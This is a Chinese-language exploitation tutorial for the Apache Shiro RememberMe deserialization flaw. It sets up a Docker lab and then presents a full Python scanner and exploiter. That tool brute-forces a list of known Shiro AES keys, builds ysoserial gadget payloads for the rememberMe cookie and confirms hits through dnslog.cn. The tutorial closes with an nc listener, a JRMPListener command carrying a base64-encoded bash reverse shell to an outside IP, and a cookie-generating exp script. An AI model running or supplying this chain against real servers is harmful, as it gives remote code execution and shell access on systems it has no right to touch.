一文看懂shiro反序列化漏洞

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

 

工 作 原 理

Apache Shiro框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe，cookie的值是经过对相关信息进行序列化，然后使用aes加密，最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑如下：

获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化

在服务端接收cookie值时，按照如下步骤来解析处理：

1、检索RememberMe cookie 的值2、Base 64解码3、使用AES解密(加密密钥硬编码)4、进行反序列化操作（未作过滤处理）在调用反序列化时未进行任何过滤，导致可以触发远程代码执行漏洞。

 

漏 洞 原 理

因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码
而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透

 

漏 洞 复 现

docker pull medicean/vulapps:s_shiro_1docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1访问 http://127.0.0.1:8081即可

漏洞扫描:shiro_scan.py

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#! python2.7import osimport reimport base64import uuidimport subprocessimport requestsimport sysimport jsonimport timeimport randomimport argparsefrom Crypto.Cipher import AES
JAR_FILE = 'ysoserial.jar'
CipherKeys = [    "kPH+bIxk5D2deZiIxcaaaA==",    "4AvVhmFLUs0KTA3Kprsdag==",    "3AvVhmFLUs0KTA3Kprsdag==",    "2AvVhdsgUs0FSA3SDFAdag==",    "6ZmI6I2j5Y+R5aSn5ZOlAA==",    "wGiHplamyXlVB11UXWol8g==",    "cmVtZW1iZXJNZQAAAAAAAA==",    "Z3VucwAAAAAAAAAAAAAAAA==",    "ZnJlc2h6Y24xMjM0NTY3OA==",    "L7RioUULEFhRyxM7a2R/Yg==",    "RVZBTk5JR0hUTFlfV0FPVQ==",    "fCq+/xW488hMTCD+cmJ3aQ==",    "WkhBTkdYSUFPSEVJX0NBVA==",    "1QWLxg+NYmxraMoxAXu/Iw==",    "WcfHGU25gNnTxTlmJMeSpw==",    "a2VlcE9uR29pbmdBbmRGaQ==",    "bWluZS1hc3NldC1rZXk6QQ==",    "5aaC5qKm5oqA5pyvAAAAAA==",    #"ZWvohmPdUsAWT3=KpPqda",    "r0e3c16IdVkouZgk1TKVMg==",    "ZUdsaGJuSmxibVI2ZHc9PQ==",    "U3ByaW5nQmxhZGUAAAAAAA==",    "LEGEND-CAMPUS-CIPHERKEY=="    #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",    ]
gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]
session = requests.Session()def genpayload(params, CipherKey,fp):    gadget,command = params    if not os.path.exists(fp):        raise Exception('jar file not found')    popen = subprocess.Popen(['java','-jar',fp,gadget,command],                            stdout=subprocess.PIPE)    BS = AES.block_size    #print(command)    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    #key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(CipherKey), mode, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertext
def getdomain():    try :        ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text    except Exception as e:        print("getdomain error:" + str(e))        ret = "error"        pass    return ret
def getrecord():    try :        ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text        #print(ret)    except Exception as e:        print("getrecord error:" + str(e))        ret = "error"        pass    return ret
def check(url):    if '://' not in url:        target = 'https://%s' % url if ':443' in url else 'http://%s' % url    else:        target = url
    print("checking url:" + url)
    domain = getdnshost()    if domain:        reversehost = "http://" + domain
        for CipherKey in CipherKeys:            ret = {"vul":False,"CipherKey":"","url":target}
            try:                print("try CipherKey :" +CipherKey)
                payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)
                print("generator payload done.")
                r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
                print("send payload ok.")                for i in range(1,5):                    print("checking.....")
                    time.sleep(2)                    temp = getrecord()                    if domain in temp:                        ret["vul"] = True                        ret["CipherKey"] = CipherKey                        break            except Exception as e:                print(str(e))                pass            if ret["vul"]:                break    else:        print("get dns host error")    return ret
def exploit(url,gadget,params,CipherKey):    if '://' not in url:        target = 'https://%s' % url if ':443' in url else 'http://%s' % url    else:        target = url    try:        payload = genpayload((gadget, params),CipherKey,JAR_FILE)        r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)        print(r.text)    except Exception as e:        print("exploit error:" + str(e))        pass
def getdnshost():    reversehost = ""    try :        domain = getdomain()        if domain=="error":            print("getdomain error")        else:            #reversehost = "http://" +domain            reversehost = domain            #print("got reversehost : " + reversehost)    except:        pass    return reversehost
def detector(url,CipherKey,command):    result = []    if '://' not in url:        target = 'https://%s' % url if ':443' in url else 'http://%s' % url    else:        target = url    try:        for g in gadgets:            g = g.strip()
            domain = getdnshost()            if domain:                if g == "JRMPClient":                    param = "%s:80" % domain                else:                    param = command.replace("{dnshost}",domain)                payload = genpayload((g, param),CipherKey,JAR_FILE)                print(g + " testing.....")                r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)                #print(r.read())                for i in range(1,5):                    #print("checking.....")                    time.sleep(2)                    temp = getrecord()                    if domain in temp:                        ret = g                        #ret["CipherKey"] = CipherKey                        result.append(ret)                        print("found gadget:\t" + g)                        break            else:                print("get dns host error")                    #break        #print(r.text)    except Exception as e:        print("detector error:" + str(e))        pass    return result
def parser_error(errmsg):    print("Usage: python " + sys.argv[0] + " [Options] use -h for help")    sys.exit()
def parse_args():    # parse the arguments    parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target")    parser.error = parser_error    parser._optionals.title = "OPTIONS"    parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)    parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)    parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)    parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)    parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)    return parser.parse_args()
if __name__ == '__main__':    args = parse_args()    url = args.url    type = args.type    command = args.params    key = args.key    gadget = args.gadget    if type=="1":        r = check(url)        print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"]))    elif type=="2":        exploit(url,gadget,command,key)        print("exploit done.")    elif type=="3":                r = detector(url,key,command)        if r :            print("found gadget:\n")            print(r)    else:        print("invalid type")

根据脚本里面的key进行扫描,并返回key

利用漏洞获取shell

使用jackson编码 http://www.jackson-t.ca/runtime-exec-payloads.html

nc监听反弹shell的端口

nc -lvp 1234

使用ysoserial.jar的JRMP监听(本机或者vps上监听)

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java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjguMTEuMTU5LzExMjMgMD4mMQ==}|{base64,-d}|{bash,-i}"

生成payload的exp：shiro_exp.py

# -*- coding: utf-8 -*-import uuidimport base64import subprocessimport sysfrom Crypto.Cipher import AES

def encode_rememberme(command):    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    # 密钥使用检测成功的密钥    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")    iv = uuid.uuid4().bytes    encryptor = AES.new(key, AES.MODE_CBC, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertext
if __name__ == '__main__':    payload = encode_rememberme(sys.argv[1])    print "rememberMe={0}".format(payload.decode())

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python2 shiro_exp.py 10.228.11.159:6666 意思是把shell反弹到vsp(你的本机)上的6666端口

burp请求

成功获取shell